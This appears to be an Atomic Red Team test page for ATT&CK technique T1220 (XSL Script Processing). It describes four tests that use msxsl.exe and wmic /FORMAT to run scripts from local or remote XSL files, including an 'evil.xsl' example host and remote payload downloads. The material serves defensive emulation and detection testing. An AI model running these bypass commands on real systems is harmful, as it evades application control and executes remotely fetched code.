T1220 - XSL Script Processing

Description from ATT&CK

> Adversaries may bypass application control and obscure execution of code by embedding scripts inside XSL files. Extensible Stylesheet Language (XSL) files are commonly used to describe the processing and rendering of data within XML files. To support complex operations, the XSL standard includes support for embedded scripting in various languages. (Citation: Microsoft XSLT Script Mar 2017)
> Adversaries may abuse this functionality to execute arbitrary files while potentially bypassing application control. Similar to Trusted Developer Utilities Proxy Execution, the Microsoft common line transformation utility binary (msxsl.exe) (Citation: Microsoft msxsl.exe) can be installed and used to execute malicious JavaScript embedded within local or remote (URL referenced) XSL files. (Citation: Penetration Testing Lab MSXSL July 2017) Since msxsl.exe is not installed by default, an adversary will likely need to package it with dropped files. (Citation: Reaqta MSXSL Spearphishing MAR 2018) Msxsl.exe takes two main arguments, an XML source file and an XSL stylesheet. Since the XSL file is valid XML, the adversary may call the same XSL file twice. When using msxsl.exe adversaries may also give the XML/XSL files an arbitrary file extension.(Citation: XSL Bypass Mar 2019)

> Command-line examples:(Citation: Penetration Testing Lab MSXSL July 2017)(Citation: XSL Bypass Mar 2019)
>
> - `msxsl.exe customers[.]xml script[.]xsl`
> - `msxsl.exe script[.]xsl script[.]xsl`
> - `msxsl.exe script[.]jpeg script[.]jpeg`
>
> Another variation of this technique, dubbed "Squiblytwo", involves using Windows Management Instrumentation to invoke JScript or VBScript within an XSL file.(Citation: LOLBAS Wmic) This technique can also execute local/remote scripts and, similar to its Regsvr32/ "Squiblydoo" counterpart, leverages a trusted, built-in Windows tool. Adversaries may abuse any alias in Windows Management Instrumentation provided they utilize the /FORMAT switch.(Citation: XSL Bypass Mar 2019)
>
> Command-line examples:(Citation: XSL Bypass Mar 2019)(Citation: LOLBAS Wmic)
>
> - Local File: `wmic process list /FORMAT:evil[.]xsl`
> - Remote File: `wmic os get /FORMAT:"https[:]//example[.]com/evil[.]xsl"`

Atomic Tests

- Atomic Test #1 - MSXSL Bypass using local files
- Atomic Test #2 - MSXSL Bypass using remote files
- Atomic Test #3 - WMIC bypass using local XSL file
- Atomic Test #4 - WMIC bypass using remote XSL file

Atomic Test #1 - MSXSL Bypass using local files

Executes the code specified within a XSL script tag during XSL transformation using a local payload. Requires download of MSXSL. No longer available from Microsoft. (Available via Internet Archive https://web.archive.org/web/20200825011623/https://www.microsoft.com/en-us/download/details.aspx?id=21714) Open Calculator.exe when test successfully executed, while AV turned off.

Supported Platforms: Windows

auto_generated_guid: ca23bfb2-023f-49c5-8802-e66997de462d

Inputs:

Name	Description	Type	Default Value
xmlfile	Location of the test XML file on the local filesystem.	Path	PathToAtomicsFolder\T1220\src\msxslxmlfile.xml
xslfile	Location of the test XSL script file on the local filesystem.	Path	PathToAtomicsFolder\T1220\src\msxslscript.xsl
msxsl_exe	Location of the MSXSL executable.	Path	PathToAtomicsFolder\T1220\bin\msxsl.exe

Attack Commands: Run with `command_prompt`!

```
#{msxsl_exe} #{xmlfile} #{xslfile}
```

Cleanup Commands:

```
del #{msxsl_exe} >nul 2>&1
```

Dependencies: Run with `powershell`!

Description: XML file must exist on disk at specified location (#{xmlfile})

Check Prereq Commands:

```
if (Test-Path #{xmlfile}) {exit 0} else {exit 1}
```

Get Prereq Commands:

```
New-Item -Type Directory (split-path #{xmlfile}) -ErrorAction Ignore | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomi
```

Description: XSL file must exist on disk at specified location (#{xslfile})

Check Prereq Commands:

```
if (Test-Path #{xslfile}) {exit 0} else {exit 1}
```

Get Prereq Commands:

```
New-Item -Type Directory (split-path #{xslfile}) -ErrorAction Ignore | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomi
```

Description: msxsl.exe must exist on disk at specified location (#{msxsl_exe})

Check Prereq Commands:

```
if (Test-Path #{msxsl_exe}) {exit 0} else {exit 1}
```

Get Prereq Commands:

```
Invoke-WebRequest "https://web.archive.org/web/20200803205229if_/https://download.
```

Atomic Test #2 - MSXSL Bypass using remote files

Executes the code specified within a XSL script tag during XSL transformation using a remote payload. Requires download of MSXSL.exe. No longer available from Microsoft. (Available via Internet Archive https://web.archive.org/web/20200825011623/https://www.microsoft.com/en-us/download/details.aspx?id=21714) Open Calculator.exe when test successfully executed, while AV turned off.

Supported Platforms: Windows

auto_generated_guid: a7c3ab07-52fb-49c8-ab6d-e9c6d4a0a985

Inputs:

Name	Description	Type	Default Value
xmlfile	Remote location (URL) of the test XML file.	Url	https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1220/src/msxslxmlfile.xml
xslfile	Remote location (URL) of the test XSL script file.	Url	https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1220/src/msxslscript.xsl
msxsl_exe	Location of the MSXSL executable.	Path	PathToAtomicsFolder\T1220\bin\msxsl.exe

Attack Commands: Run with `command_prompt`!

```
#{msxsl_exe} #{xmlfile} #{xslfile}
```

Cleanup Commands:

```
del -Path #{msxsl_exe} >nul 2>&1
```

Dependencies: Run with `powershell`!

Description: msxsl.exe must exist on disk at specified location (#{msxsl_exe})

Check Prereq Commands:

```
if (Test-Path #{msxsl_exe}) {exit 0} else {exit 1}
```

Get Prereq Commands:

```
Invoke-WebRequest "https://web.archive.org/web/20200803205229if_/https://download.
```

Atomic Test #3 - WMIC bypass using local XSL file

Executes the code specified within a XSL script using a local payload.

Supported Platforms: Windows

auto_generated_guid: 1b237334-3e21-4a0c-8178-b8c996124988

Inputs:

Name	Description	Type	Default Value
wmic_command	WMI command to execute using wmic.exe	String	process list
local_xsl_file	Location of the test XSL script file on the local filesystem.	Path	PathToAtomicsFolder\T1220\src\wmicscript.xsl

Attack Commands: Run with `command_prompt`!

```
wmic #{wmic_command} /FORMAT:"#{local_xsl_file}"
```

Dependencies: Run with `powershell`!

Description: XSL file must exist on disk at specified location (#{local_xsl_file})

Check Prereq Commands:

```
if (Test-Path #{local_xsl_file}) {exit 0} else {exit 1}
```

Get Prereq Commands:

```
New-Item -Type Directory (split-path #{local_xsl_file}) -ErrorAction Ignore | Out-I
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomi
```

Atomic Test #4 - WMIC bypass using remote XSL file

Executes the code specified within a XSL script using a remote payload. Open Calculator.exe when test successfully executed, while AV turned off.

Supported Platforms: Windows

auto_generated_guid: 7f5be499-33be-4129-a560-66021f379b9b

Inputs:

Name	Description	Type	Default Value
remote_xsl_file	Remote location of an XSL payload.	Url	https://raw.githubusercontent.com/redcanaryco/antomic-red-team/master/atomics/T1220/src/wmicscript.xsl
wmic_command	WMI command to execute using wmic.exe	String	process list

Attack Commands: Run with `command_prompt`!

```
wmic #{wmic_command} /FORMAT:"#{remote_xsl_file}"
```